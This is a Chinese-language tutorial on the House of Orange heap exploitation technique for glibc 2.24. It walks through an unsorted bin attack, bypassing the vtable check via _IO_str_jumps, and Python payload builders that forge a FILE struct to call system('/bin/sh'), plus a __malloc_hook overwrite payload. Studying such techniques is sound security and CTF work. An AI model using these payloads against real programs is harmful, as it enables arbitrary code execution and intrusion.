House of Orange 攻击技术详解 (Glibc 2.24)<\/h1>

基本原理<\/h2>
House of Orange 是一种利用堆管理机制和IO文件流结构进行攻击的技术，基本原理如下：<\/p>
覆盖unsorted bin空闲块<\/strong>：修改其大小为0x61（small bin [4]）<\/li>
修改bk指针<\/strong>：指向_IO_list_all -0x10<\/code><\/li>
布置伪造的file结构体<\/strong><\/li>
触发unsorted bin attack<\/strong>：通过分配堆块触发攻击，修改_IO_list_all<\/code>指针<\/li>
异常触发<\/strong>：将修改过的unsorted bin放入small bin 4中，继续遍历会触发异常<\/li>
控制流劫持<\/strong>：异常处理会调用malloc_printerr<\/code>，最终调用_IO_OVERFLOW<\/code><\/li>
<\/ol>
关键调用链<\/h2>
malloc_printerr 
→ __libc_message(error msg) 
→ abort 
→ _IO_flush_all_lockp 
→ JUMP_FILE(_IO_OVERFLOW)
<\/code><\/pre>
如果能伪造_IO_OVERFLOW<\/code>函数，就可以获得shell。<\/p>
绕过检查的条件<\/h2>
在调用_IO_OVERFLOW<\/code>之前，会进行以下检查：<\/p>
if<\/span> (((fp-><\/span>_mode <=<\/span> 0<\/span> &&<\/span> fp-><\/span>_IO_write_ptr ><\/span> fp-><\/span>_IO_write_base)
<\/span><\/span>#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
<\/span><\/span><\/span><\/span>    ||<\/span> (_IO_vtable_offset(fp) ==<\/span> 0<\/span>
<\/span><\/span>        &&<\/span> fp-><\/span>_mode ><\/span> 0<\/span> &&<\/span> (fp-><\/span>_wide_data-><\/span>_IO_write_ptr
<\/span><\/span>                            ><\/span> fp-><\/span>_wide_data-><\/span>_IO_write_base))
<\/span><\/span>#endif
<\/span><\/span><\/span><\/span>    )
<\/span><\/span>    &&<\/span> _IO_OVERFLOW(fp, EOF) ==<\/span> EOF)
<\/span><\/span><\/code><\/pre>绕过检查需要伪造以下字段：<\/p>

fp->_mode = 0<\/code><\/li>
fp->_IO_write_ptr < fp->_IO_write_base<\/code><\/li>
fp->_IO_read_ptr = 0x61<\/code> (smallbin4 + 8)<\/li>
fp->_IO_read_base = _IO_list_all - 0x10<\/code> (smallbin->bk, unsorted bin attack)<\/li>
<\/ul>
Glibc 2.24的新保护机制<\/h2>
Glibc 2.24引入了vtable检测函数IO_validate_vtable<\/code>：<\/p>
static<\/span> inline<\/span> const<\/span> struct<\/span> _IO_jump_t *<\/span>
<\/span><\/span>IO_validate_vtable<\/span> (const<\/span> struct<\/span> _IO_jump_t *<\/span>vtable)
<\/span><\/span>{
<\/span><\/span>    uintptr_t section_length =<\/span> __stop___libc_IO_vtables -<\/span> __start___libc_IO_vtables;
<\/span><\/span>    const<\/span> char<\/span> *<\/span>ptr =<\/span> (const<\/span> char<\/span> *<\/span>) vtable;
<\/span><\/span>    uintptr_t offset =<\/span> ptr -<\/span> __start___libc_IO_vtables;
<\/span><\/span>    if<\/span> (__glibc_unlikely (offset >=<\/span> section_length))
<\/span><\/span>        _IO_vtable_check ();
<\/span><\/span>    return<\/span> vtable;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>vtable必须位于__stop___IO_vtables<\/code>和__start___libc_IO_vtables<\/code>之间。<\/p>
利用__IO_str_jumps<\/code>绕过<\/h2>
可以使用__IO_str_jumps<\/code>或__IO_wstr_jumps<\/code>进行绕过，其中__IO_str_jumps<\/code>更简单：<\/p>

__IO_str_jumps<\/code>地址：位于合法vtable范围内<\/li>
结构包含多个函数指针，其中_IO_str_finish<\/code>和_IO_str_overflow<\/code>可用于利用<\/li>
<\/ul>
_IO_str_finish<\/code>函数分析<\/h3>
void<\/span> _IO_str_finish<\/span> (FILE *<\/span>fp, int<\/span> dummy) {
<\/span><\/span>    if<\/span> (fp-><\/span>_IO_buf_base &&<\/span> !<\/span>(fp-><\/span>_flags &<\/span> _IO_USER_BUF))
<\/span><\/span>        (((_IO_strfile *<\/span>) fp)-><\/span>_s._free_buffer)(fp-><\/span>_IO_buf_base); \/\/ call qword ptr [fp+0E8h]
<\/span><\/span><\/span><\/span>    fp-><\/span>_IO_buf_base =<\/span> NULL;
<\/span><\/span>    _IO_default_finish(fp, 0<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>利用条件：<\/p>

fp->_mode = 0<\/code><\/li>
fp->_IO_write_ptr < fp->_IO_write_base<\/code><\/li>
fp->_IO_read_ptr = 0x61<\/code> (smallbin4 + 8)<\/li>
fp->_IO_read_base = _IO_list_all -0x10<\/code><\/li>
vtable = _IO_str_jumps - 8<\/code> (使_IO_overflow<\/code>调用_IO_str_finish<\/code>)<\/li>
fp->_flags = 0<\/code><\/li>
fp->_IO_buf_base = binsh_addr<\/code><\/li>
fp+0xe8 = system_addr<\/code><\/li>
<\/ol>
构造伪造的file结构体<\/h2>
def<\/span> pack_file<\/span>(_flags=<\/span>0<\/span>, _IO_read_ptr=<\/span>0<\/span>, _IO_read_end=<\/span>0<\/span>, _IO_read_base=<\/span>0<\/span>, 
<\/span><\/span>              _IO_write_base=<\/span>0<\/span>, _IO_write_ptr=<\/span>0<\/span>, _IO_write_end=<\/span>0<\/span>, 
<\/span><\/span>              _IO_buf_base=<\/span>0<\/span>, _IO_buf_end=<\/span>0<\/span>, _IO_save_base=<\/span>0<\/span>, 
<\/span><\/span>              _IO_backup_base=<\/span>0<\/span>, _IO_save_end=<\/span>0<\/span>, _IO_marker=<\/span>0<\/span>, 
<\/span><\/span>              _IO_chain=<\/span>0<\/span>, _fileno=<\/span>0<\/span>, _lock=<\/span>0<\/span>, _wide_data=<\/span>0<\/span>, _mode=<\/span>0<\/span>):
<\/span><\/span>    file_struct =<\/span> p32(_flags) +<\/span> \
<\/span><\/span>                 p32(0<\/span>) +<\/span> \
<\/span><\/span>                 p64(_IO_read_ptr) +<\/span> \
<\/span><\/span>                 p64(_IO_read_end) +<\/span> \
<\/span><\/span>                 p64(_IO_read_base) +<\/span> \
<\/span><\/span>                 p64(_IO_write_base) +<\/span> \
<\/span><\/span>                 p64(_IO_write_ptr) +<\/span> \
<\/span><\/span>                 p64(_IO_write_end) +<\/span> \
<\/span><\/span>                 p64(_IO_buf_base) +<\/span> \
<\/span><\/span>                 p64(_IO_buf_end) +<\/span> \
<\/span><\/span>                 p64(_IO_save_base) +<\/span> \
<\/span><\/span>                 p64(_IO_backup_base) +<\/span> \
<\/span><\/span>                 p64(_IO_save_end) +<\/span> \
<\/span><\/span>                 p64(_IO_marker) +<\/span> \
<\/span><\/span>                 p64(_IO_chain) +<\/span> \
<\/span><\/span>                 p32(_fileno)
<\/span><\/span>    file_struct =<\/span> file_struct.<\/span>ljust(0x88<\/span>, "<\/span>\x00<\/span>"<\/span>)
<\/span><\/span>    file_struct +=<\/span> p64(_lock)
<\/span><\/span>    file_struct =<\/span> file_struct.<\/span>ljust(0xa0<\/span>, "<\/span>\x00<\/span>"<\/span>)
<\/span><\/span>    file_struct +=<\/span> p64(_wide_data)
<\/span><\/span>    file_struct =<\/span> file_struct.<\/span>ljust(0xc0<\/span>, '<\/span>\x00<\/span>'<\/span>)
<\/span><\/span>    file_struct +=<\/span> p64(_mode)
<\/span><\/span>    file_struct =<\/span> file_struct.<\/span>ljust(0xd8<\/span>, "<\/span>\x00<\/span>"<\/span>)
<\/span><\/span>    return<\/span> file_struct
<\/span><\/span><\/code><\/pre>封装利用函数：<\/p>
def<\/span> pack_file_flush_str_jumps<\/span>(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
<\/span><\/span>    payload =<\/span> pack_file(_flags=<\/span>0<\/span>,
<\/span><\/span>                       _IO_read_ptr=<\/span>0x61<\/span>,        # smallbin4file_size<\/span>
<\/span><\/span>                       _IO_read_base=<\/span>_IO_list_all_ptr-<\/span>0x10<\/span>, # unsorted bin attack<\/span>
<\/span><\/span>                       _IO_write_base=<\/span>0<\/span>,
<\/span><\/span>                       _IO_write_ptr=<\/span>1<\/span>,
<\/span><\/span>                       _IO_buf_base=<\/span>binsh_addr,
<\/span><\/span>                       _mode=<\/span>0<\/span>)
<\/span><\/span>    payload +=<\/span> p64(_IO_str_jumps_addr-<\/span>8<\/span>)
<\/span><\/span>    payload +=<\/span> p64(0<\/span>)  # padding<\/span>
<\/span><\/span>    payload +=<\/span> p64(system_addr)
<\/span><\/span>    return<\/span> payload
<\/span><\/span><\/code><\/pre>定位_IO_str_jumps<\/code><\/h2>
由于_IO_str_jumps<\/code>不是导出符号，可以通过以下方法定位：<\/p>

使用_IO_str_underflow<\/code>辅助定位（_IO_str_underflow<\/code>在_IO_str_jumps<\/code>的偏移为0x20）<\/li>
利用_IO_str_jumps<\/code>地址大于_IO_file_jumps<\/code>地址的条件<\/li>
<\/ol>
自动化定位代码：<\/p>
IO_file_jumps_offset =<\/span> libc.<\/span>sym['_IO_file_jumps'<\/span>]
<\/span><\/span>IO_str_underflow_offset =<\/span> libc.<\/span>sym['_IO_str_underflow'<\/span>]
<\/span><\/span>for<\/span> ref_offset in<\/span> libc.<\/span>search(p64(IO_str_underflow_offset)):
<\/span><\/span>    possible_IO_str_jumps_offset =<\/span> ref_offset -<\/span> 0x20<\/span>
<\/span><\/span>    if<\/span> possible_IO_str_jumps_offset ><\/span> IO_file_jumps_offset:
<\/span><\/span>        print possible_IO_str_jumps_offset
<\/span><\/span>        break<\/span>
<\/span><\/span><\/code><\/pre>其他绕过vtable check的方法<\/h2>

利用unsorted bin attack改写_IO_2_1_stdin_<\/code><\/strong>：

修改_IO_buf_end<\/code>指向__malloc_hook<\/code><\/li>
利用scanf函数读取数据填充到该区域<\/li>
<\/ul>
<\/li>
<\/ol>
示例payload：<\/p>
def<\/span> get_stdin_lock_offset<\/span>(self):
<\/span><\/span>    IO_2_1_stdin =<\/span> libc.<\/span>sym['_IO_2_1_stdin_'<\/span>]
<\/span><\/span>    lock_stdin_offset =<\/span> 0x88<\/span>
<\/span><\/span>    return<\/span> libc.<\/span>u64(IO_2_1_stdin+<\/span>lock_stdin_offset)
<\/span><\/span>
<\/span><\/span>payload =<\/span> "<\/span>\x00<\/span>"<\/span>*<\/span>5<\/span>
<\/span><\/span>payload +=<\/span> p64(libc_base +<\/span> get_stdin_lock_offset())
<\/span><\/span>payload +=<\/span> p64(0<\/span>) *<\/span> 9<\/span>
<\/span><\/span>payload +=<\/span> p64(libc_base +<\/span> libc.<\/span>sym['_IO_file_jumps'<\/span>])
<\/span><\/span>payload +=<\/span> "<\/span>\x00<\/span>"<\/span> *<\/span> (libc.<\/span>sym['__malloc_hook'<\/span>] -<\/span> libc.<\/span>sym['_IO_2_1_stdin_'<\/span>] -<\/span> 0xe0<\/span>)
<\/span><\/span>payload +=<\/span> p64(one_shoot)
<\/span><\/span><\/code><\/pre>总结<\/h2>
House of Orange攻击在Glibc 2.24下依然可行，关键在于：<\/p>

正确构造伪造的file结构体<\/li>
利用合法的vtable（如__IO_str_jumps<\/code>）绕过保护<\/li>
精心控制异常触发路径<\/li>
注意各种检查条件的绕过<\/li>
<\/ol>
这种技术不仅适用于Glibc 2.24，也可以用于2.23版本的程序。<\/p>